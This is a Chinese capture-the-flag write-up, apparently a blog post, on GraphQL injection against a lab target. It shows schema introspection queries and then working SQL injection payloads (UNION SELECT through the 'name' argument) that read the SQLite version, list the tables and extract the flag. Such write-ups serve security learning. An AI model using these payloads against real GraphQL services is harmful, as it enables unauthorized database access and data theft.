CTF学习-Web系列(一)-Graphql注入
靶场地址
http://10.0.25.109:20080/
解题过程
信息获取
首先对其搜索框进行注入点探测,服务器返回错误信息
然后查看题目前端 JS代码,观察是否存在有用接口信息。
和上面burp拦截到的请求一样,并没有发现突破点,但看到了Graphql这个关键词,于是去看了下相关知识。
第一步:构造语法查询模式和类型
1 2 3 4 5 6 7
| query={ __schema { types { name } } }
|
可发现API返回信息中存在Getscorebyname和Getscorebyid
第二步:查询可使用的名称
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| query={ __type(name:"Query"){ name fields { name type { name kind ofType{ name kind } } } } }
|
可通过响应包中获取到对象getscorewithname和getscorewithid
第三步:查询Getscorebyid的详细参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| query={ '__type': { 'name':'Getscorebyid', 'fields': [ { 'name':'score', 'type': { 'name':'String', 'kind':'SCALAR', 'ofType':None } }, { 'name':'name', 'type': { 'name':'String', 'kind':'SCALAR', 'ofType':None } }, { 'name':'id', 'type': { 'name':'String', 'kind':'SCALAR', 'ofType':None } } ] } }
|
第四步:查询Getscorebyname的详细参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| query={ '__type': { 'name':'Getscorebyname', 'fields': [ { 'name':'score', 'type': { 'name':'String', 'kind':'SCALAR', 'ofType':None } }, { 'name':'name', 'type': { 'name':'String', 'kind':'SCALAR', 'ofType':None } }, { 'name':'userid', 'type': { 'name':'String', 'kind':'SCALAR', 'ofType':None } } ] } }
|
注入测试
构造getscorewithid()请求数据
1 2 3 4 5 6 7
| query={ getscorewithname(name:"Alice"){ name score }
}
|
返回查询结果
对getscorewithname()进行注入测试
1 2 3 4 5 6 7
| query={ getscorewithname(name:"' UNION SELECT 'aaa'||'"){ name score } }
|
响应包中返回aaa,证明查询语句成功执行,存在注入
查询数据库版本
1 2 3 4 5 6
| query={ getscorewithname(name:"' UNION SELECT sqlite_version()||'"){ name score } }
|
数据库版本为3.31.1
构造查询数据获取表名flag
1 2 3 4 5 6
| query={ getscorewithname(name:"' UNION SELECT (SELECT group_concat(name,0x7e) from sqlite_master)||'"){ name score } }
|
获取flag数据表的字段值
1 2 3 4 5 6
| query={ getscorewithname(name:"' UNION SELECT (SELECT flag from flag)||'"){ name score } }
|
得到flag为:flag{Rea1_flag_1s_Me}
参考文章
渗透测试之graphQL_Sp4rkW的博客-CSDN博客_graphql注入
当CTF遇上GraphQL的那些事 (hwlanxiaojun.github.io)